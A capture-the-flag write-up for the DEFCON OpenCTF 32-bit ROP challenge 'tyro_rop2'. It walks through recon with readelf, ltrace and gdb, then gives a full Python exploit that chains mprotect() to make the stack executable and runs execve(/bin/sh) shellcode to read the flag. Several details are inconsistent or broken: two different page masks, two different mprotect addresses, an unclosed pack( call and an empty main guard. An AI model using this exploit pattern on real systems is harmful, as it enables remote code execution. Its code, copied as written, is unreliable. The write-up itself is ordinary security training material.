DEFCON OpenCTF - pwnable - tyro_rop2

By: meta

tyro_rop2 50 ---
Baby's second ROP (

Finding EIP

Tyro ROP2 was the second in a series of Return Oriented Programming (ROP) challenges at DEFCON OpenCTF this year. This was a Linux 32-bit binary that was designed to test the players ability to use the bypass a non-executable stack (NX) by using the mprotect() libc function. As usual, I stared with file, readelf, objdump, and ltrace for the initial reconnaissance.

$ file tyro_rop2
tyro_rop2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c01fa0bb8e0657a49f32e072fadb4018f78fbc79, not stripped

$ readelf -a tyro_rop2 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

$ objdump -R tyro_rop2

tyro_rop2:     file format elf32-i386

OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a040 R_386_COPY        stdin
0804a060 R_386_COPY        stdout
0804a00c R_386_JUMP_SLOT   setbuf
0804a010 R_386_JUMP_SLOT   mprotect
0804a014 R_386_JUMP_SLOT   printf
0804a018 R_386_JUMP_SLOT   fgets
0804a01c R_386_JUMP_SLOT   alarm
0804a020 R_386_JUMP_SLOT   malloc
0804a024 R_386_JUMP_SLOT   puts
0804a028 R_386_JUMP_SLOT   __gmon_start__
0804a02c R_386_JUMP_SLOT   __libc_start_main

From the above we can see that the stack is not executable but the binary is linked with mprotect() so, in theory, we could change the permissions at runtime to make the stack (or some other region of memory) executable. Running the binary with ltrace and providing a large string of A's to stdin to gain control of EIP. From the output of ltrace I noticed that the call to mprotect() actually fails (returned 0xffffffff which is -1 in two's compliment). This is because the address provided is not page aligned (you can't change the permissions of part of a page of memory). This is likely a hint since the author wants to provide mprotect(), but not actually make memory executable for us, because, what's the fun in that. ;)

$ ctf-payload -a144 | ltrace -if ./tyro_rop2 
[pid 21796] [0x80484b1] __libc_start_main(0x80485e8, 1, 0xff8b8834, 0x8048680 
[pid 21796] [0x8048600] malloc(4)                                                            = 0x8d88008
[pid 21796] [0x8048613] alarm(30)                                                            = 0
[pid 21796] [0x8048628] setbuf(0xf76cec20, 0)                                                = 
[pid 21796] [0x804863d] setbuf(0xf76ceac0, 0)                                                = 
[pid 21796] [0x8048649] puts("OpenCTF tyro rop2\n"OpenCTF tyro rop2) = 19
[pid 21796] [0x8048655] puts("Stack is RW, you will have to RO"...Stack is RW, you will have to ROP, and no &system is given) = 59
[pid 21796] [0x8048674] mprotect(0xff8b878c, 4, 7, 0)                                        = 0xffffffff
[pid 21796] [0x80485ac] printf("buff[128] is at %p\n", 0xff8b7ee0
buff[128] is at 0xff8b7ee0) = 27
[pid 21796] [0x80485cb] fgets("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 2048, 0xf76cec20)       = 0xff8b7ee0
[pid 21796] [0x80485e1] printf("Got %s!\n", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...") = 150
[pid 21796] [0x41414141] --- SIGSEGV (Segmentation fault) ---
[pid 21796] [0xffffffffffffffff] +++ killed by SIGSEGV +++

It seems likely that the program is disclosing the address of the buffer on the stack that contains the user input so I used gdb to verify the assumption.

$ gdb ./tyro_rop2 
Reading symbols from ./tyro_rop2...(no debugging symbols found)...done.

gdb-peda$ b *0x80485e1
Breakpoint 1 at 0x80485e1

gdb-peda$ run
Starting program: tyro_rop2 
OpenCTF tyro rop2

Stack is RW, you will have to ROP, and no &system is given
buff[128] is at 0xffffc890

Breakpoint 1, 0x080485e1 in vulnerable ()

gdb-peda$ x/20xw 0xffffc890
0xffffc890:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffc8a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffc8b0:	0x41414141	0x41414141	0x41414141	0x41414141


At this stage I have control of EIP, know the address of a memory region where we can place our shellcode, and the binary is linked against mprotect() so I can mark the page of memory as executable. Next I will need a few ROP gadgets to call mprotect and then return to the address of the buffer that will contain the shellcode. ASLR is enabled so the buffer address changes every time the program is run. This easy to circumvent however, because program print's the address at runtime. I used a cyclic pattern to determine that an input of 144 bytes exactly overwrites EIP. From the manpage for mprotect() I can see that it takes 3 parameters, so I used ROPgadget to find a "pop; pop; pop; ret;" gadget. After the call to mprotect() we will return to this gadget in order to jump over the parameters on the stack and chain a second call or, in this case, jump to our shellcode.

$ man 2 mprotect
  int mprotect(void *addr, size_t len, int prot);

$ ROPgadget --binary tyro_rop2 --all | egrep "(pop.*){3,}"
0x080486d9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080486d7 : jne 0x80486c1 ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080486da : les ebx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080486dc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080486dd : pop esi ; pop edi ; pop ebp ; ret
0x080486db : sbb al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret

Building the Exploit

Here is an explanation of what the final payload will look like on the stack to help explain how all the pieces fit together.

SHELLCODE    # 21 byte execve(/bin/sh) shellcode
AAAAAAAAAA   # 140-21=119 A's to fill the buffer
0x0804a010   # EIP will be overwritten with the address of mprotect() which is 0x0804a010
0x080486dd   # pop-pop-pop-ret gadget that will overwrite EIP when mprotect returns
&BUFPAGE     # first parameter to mprotect (address of the page of memory)
LENGTH       # second parameter to mprotect (length)
PERMS        # third parameter to mprotect (permissions)
&BUFFER      # EIP will return to here after the pop-pop-pop-ret gadget pops the 3 params from the stack

Why isn't the first parameter to mprotect not simply the address of the buffer? According to the manpage, "[the address] must be aligned to a page boundary". To find the beginning of the page boundary I used getconf to find the pagesize and python to verify the math. In short, the start of a memory page containing address X = 0xffff0000 & X. The length parameter must be a multiple of the pagesize and the value 0x7 will provide the permissions RWX. Note that I'm assuming that the server, which is running the same version of Ubuntu as my VM, has the same pagesize.

$ getconf PAGESIZE

$ ipython
In [1]: hex(4096)
Out[1]: '0x1000'

In [2]: hex(0xfffff000 & 0xffb9c370)
Out[2]: '0xffb9c000'

The Exploit

The final exploit is as follows. You can get libctf from my github page which provides a convenient pack function that accepts mixed types (struct.pack works just fine too).

from libctf import *

def main():
    s = Sock('localhost',9000)
    #s = Sock('',1621) 
    msg = s.recv()
    print msg

    # extract the buffer address
    buf_addr = int(msg.split()[-1], 16)
    print 'buf address is: ' + str(hex(buf_addr))
    # 21 byte execve(/bin/sh) shellcode
    shellcode = "Mcn34bALUWgvL3NoaC9iaW6J482A".decode('base64')
    buflen = 140-len(shellcode)

    p = pack(
        shellcode,             # shellcode
        'A'*buflen,            # filler
        0x8048410,             # mprotect
        0x080486dd,            # pop-pop-pop-ret gadget
        0xfffff000 & buf_addr, # addr of page to make executable (must align to page boundary)
        4096*100,              # length must be a multiple of page size 
        0x7,                   # RWX 
        buf_addr,              # return to here after pop3-ret gadget

    s.send(p + '\n')

    # pwd
    # cat /home/challenge/flag
    # mprotect_is_pretty_handy_get_dem_seg_bounds_rightXD

if __name__=='__main__':

Booya! mprotect_is_pretty_handy_get_dem_seg_bounds_rightXD


In case you were wondering, why use a pop-pop-pop-ret gadget when we could instead just return to the address of buffer directly after the call to mprotect()? Yep, that can be done too. ;) However, this is how I originally solved the problem and it explains the principles more completely. Enjoy!